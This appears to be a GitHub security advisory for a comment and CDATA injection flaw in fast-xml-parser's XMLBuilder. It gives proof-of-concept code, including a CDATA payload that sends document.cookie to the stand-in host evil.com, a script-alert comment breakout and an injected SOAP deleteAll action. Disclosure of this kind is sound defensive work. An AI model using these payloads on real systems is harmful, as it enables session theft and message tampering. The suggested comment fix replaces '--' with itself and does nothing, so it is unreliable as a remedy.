GHSA-gh4j-gqv2-49f6
fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | fast-xml-parser | < 5.7.0 | 5.7.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters
## Summary
fast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.
Existing CVEs for fast-xml-parser cover different issues:
- CVE-2023-26920: Prototype pollution (parser)
- CVE-2023-34104: ReDoS (parser)
- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities
This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.
## Vulnerable Code
**File**: `src/fxb.js`
```javascript
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
// ...
if (key === this.options.commentPropName) {
return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE
}
// ...
if (key === this.options.cdataPropName) {
return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE
}
}
```
Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.
## Proof of Concept
### Test 1: Comment Injection (XSS in SVG/HTML context)
```javascript
import { XMLBuilder } from 'fast-xml-parser';
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true,
suppressEmptyNode: true
});
const xml = {
root: {
"#comment": "--><script>alert('XSS')</script><!--",
data: "legitimate content"
}
};
console.log(builder.build(xml));
```
**Output**:
```xml
<root>
<!----><script>alert('XSS')</script><!---->
<data>legitimate content</data>
</root>
```
### Test 2: CDATA Injection (RSS feed)
```javascript
const builder = new XMLBuilder({
cdataPropName: "#cdata",
format: true,
suppressEmptyNode: true
});
const rss = {
rss: { channel: { item: {
title: "Article",
description: {
"#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
}
}}}
};
console.log(builder.build(rss));
```
**Output**:
```xml
<rss>
<channel>
<item>
<title>Article</title>
<description>
<![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
</description>
</item>
</channel>
</rss>
```
### Test 3: SOAP Message Injection
```javascript
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true
});
const soap = {
"soap:Envelope": {
"soap:Body": {
"#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
Action: "getBalance",
UserId: "12345"
}
}
};
console.log(builder.build(soap));
```
**Output**:
```xml
<soap:Envelope>
<soap:Body>
<!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
<Action>getBalance</Action>
<UserId>12345</UserId>
</soap:Body>
</soap:Envelope>
```
The injected `<Action>deleteAll</Action>` appears as a real SOAP action element.
## Tested Output
All tests run on Node.js v22, fast-xml-parser v5.5.12:
```
1. COMMENT INJECTION:
Injection successful: true
2. CDATA INJECTION (RSS feed scenario):
Injection successful: true
4. Round-trip test:
Injection present: true
5. SOAP MESSAGE INJECTION:
Contains injected Action: true
```
## Impact
An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:
1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers
2. **SOAP injection**: Modify SOAP message structure by injecting XML elements
3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout
4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context
This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).
## Suggested Fix
Escape delimiters in comment and CDATA content:
```javascript
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
const safeVal = String(val).replace(/--/g, '--');
return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}
// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
```
References
External links from the advisory. They lead to third-party sites.